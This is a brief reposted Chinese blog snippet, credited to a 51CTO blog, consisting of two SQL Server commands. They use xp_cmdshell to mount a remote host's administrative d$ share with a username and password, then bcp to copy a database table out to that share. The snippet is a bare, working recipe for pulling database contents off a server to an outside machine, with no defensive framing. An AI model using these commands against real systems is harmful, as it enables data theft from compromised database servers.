exec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'
exec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'
本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/775440,如需转载请自行联系原作者